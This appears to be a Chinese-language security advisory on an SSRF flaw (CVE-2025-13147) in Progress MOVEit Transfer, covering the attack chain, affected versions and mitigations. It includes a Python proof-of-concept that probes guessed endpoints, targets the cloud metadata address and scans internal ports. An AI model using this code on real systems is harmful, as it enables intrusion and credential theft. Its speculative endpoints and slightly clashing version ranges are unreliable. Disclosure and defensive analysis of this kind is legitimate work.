IPBUF安全漏洞报告
English
CVE-2025-13147 CVSS 5.3 中危

CVE-2025-13147 Progress MOVEit Transfer服务器端请求伪造漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-13147
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Progress MOVEit Transfer

相关标签

服务器端请求伪造SSRFProgress MOVEit TransferCVE-2025-13147文件传输服务企业安全网络边界安全漏洞利用

漏洞概述

CVE-2025-13147是Progress MOVEit Transfer中存在的服务器端请求伪造(Server-Side Request Forgery,SSRF)漏洞。该漏洞影响MOVEit Transfer 2024.1.8之前版本以及2025.0.0至2025.0.4之间的版本。SSRF是一种web安全漏洞,允许攻击者诱导服务器端应用程序向非预期位置发起请求。在MOVEit Transfer的特定场景中,攻击者可能利用此漏洞访问内部系统资源、扫描内网端口或访问云元数据服务等。

MOVEit Transfer是Progress Software公司开发的企业级托管文件传输解决方案,广泛应用于各行业的敏感数据传输场景。由于该产品通常部署在企业网络边界,处理大量敏感业务数据,因此此类安全漏洞可能对企业数据安全造成严重影响。

该漏洞的CVSS评分为5.3(中等严重程度),主要风险在于机密性影响,攻击者可以在无需认证和用户交互的情况下发起攻击。虽然攻击复杂度较低,但由于MOVEit系统的特殊地位,攻击者可能利用此漏洞作为进一步攻击的跳板,获取敏感信息或建立持久化访问。

技术细节

服务器端请求伪造漏洞发生在应用程序接受用户输入并将其用于构建服务器端请求的场景中。在MOVEit Transfer中,攻击者可以通过构造特殊的HTTP请求参数,诱导服务器向攻击者指定的目标地址发起请求。

漏洞利用原理:攻击者通过MOVEit Transfer的文件传输或API功能点,注入恶意构造的URL或主机名参数。服务器在处理这些请求时,会使用攻击者控制的目标地址(如内网IP、localhost或云服务元数据端点)执行HTTP/HTTPS请求。由于请求是从服务器端发起的,攻击者可以利用服务器的信任关系访问内部系统。

常见攻击利用场景包括:1)内网端口扫描,通过观察响应时间判断端口开放状态;2)访问云服务元数据端点(如AWS 169.254.169.254)获取实例敏感信息;3)读取内部系统文件或访问内部管理接口;4)利用gopher协议进行更复杂的攻击。

在MOVEit Transfer中,攻击者可能通过文件传输请求中的某些参数(如主机名、URL路径等)注入恶意目标地址,触发服务器端的请求伪造行为。由于该产品通常具有较高的网络访问权限,攻击成功后可能造成严重的数据泄露风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标MOVEit Transfer实例版本,确认版本在受影响范围内(<2024.1.8或2025.0.0-2025.0.4)
STEP 2
步骤2:寻找SSRF注入点
攻击者分析MOVEit Transfer的文件传输、API接口等功能点,识别可注入目标URL或主机名的参数
STEP 3
步骤3:构造恶意请求
攻击者构造包含内部资源地址(如内网IP、localhost、云元数据端点)的HTTP请求,注入到MOVEit Transfer的处理流程中
STEP 4
步骤4:触发服务器端请求
服务器解析攻击者提供的参数,向指定目标地址发起HTTP/HTTPS请求,利用服务器的信任关系访问内部资源
STEP 5
步骤5:数据窃取或内网探测
攻击者通过响应内容获取敏感信息(如云凭据、内部数据),或进行内网端口扫描发现更多攻击面
STEP 6
步骤6:权限提升或横向移动
攻击者利用获取的内部信息进行进一步攻击,可能获取数据库权限、访问其他内部系统或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13147 SSRF PoC for Progress MOVEit Transfer # Target: Progress MOVEit Transfer < 2024.1.8 or < 2025.0.4 # Note: This is a conceptual PoC for educational purposes only import requests import sys from urllib.parse import quote def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in MOVEit Transfer Args: target_url: Base URL of MOVEit Transfer instance internal_target: Internal resource to target (e.g., internal IP, metadata endpoint) """ # Common MOVEit Transfer endpoints that might be vulnerable endpoints = [ '/api/v1/files/transfer', '/api/v1/folders/lookup', '/webapi/filedownload', '/MOVEitTransfer/api/transfer' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } for endpoint in endpoints: try: # SSRF payload - inject internal target via various parameters # Modify parameters based on actual target endpoint payload = { 'host': internal_target, # Common SSRF injection point 'port': '80', 'path': '/' } # Alternative payload using URL parameter ssrf_url = f"{target_url}{endpoint}?url={quote(internal_target)}" print(f"[*] Testing endpoint: {endpoint}") print(f"[*] SSRF URL: {ssrf_url}") # Send request response = requests.get(ssrf_url, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code != 404: print(f"[!] Potential SSRF - Response received") print(f"[*] Response preview: {response.text[:200]}...") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") continue return False def scan_internal_ports(target_url, internal_ip): """ Scan internal ports using SSRF """ common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443] print(f"[*] Scanning internal ports on {internal_ip}...") for port in common_ports: try: # SSRF payload for port scanning target = f"http://{internal_ip}:{port}" ssrf_url = f"{target_url}/api/v1/lookup?host={quote(target)}" response = requests.get(ssrf_url, timeout=5, verify=False) if response.status_code < 500: print(f"[+] Port {port} appears to be OPEN") else: print(f"[-] Port {port}: Connection refused or filtered") except: print(f"[-] Port {port}: Timeout or error") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_13147_poc.py <target_url> <internal_target>") print("Example: python cve_2025_13147_poc.py https://victim.com http://169.254.169.254") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] print(f"[*] CVE-2025-13147 SSRF PoC") print(f"[*] Target: {target}") print(f"[*] Internal Target: {internal}") exploit_ssrf(target, internal)

影响范围

MOVEit Transfer < 2024.1.8
MOVEit Transfer 2025.0.0 - 2025.0.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)使用网络ACL或防火墙限制MOVEit服务器的出站流量,仅允许必要的外部通信;2)配置DNS解析限制,禁止解析内网地址;3)启用详细的访问日志监控,密切关注异常的内部资源访问请求;4)考虑在MOVEit前端部署WAF,配置SSRF防护规则拦截恶意请求;5)限制应用程序的网络访问权限,采用最小权限原则。同时建议尽快安排计划进行版本升级,因为临时缓解措施可能无法完全阻止漏洞利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表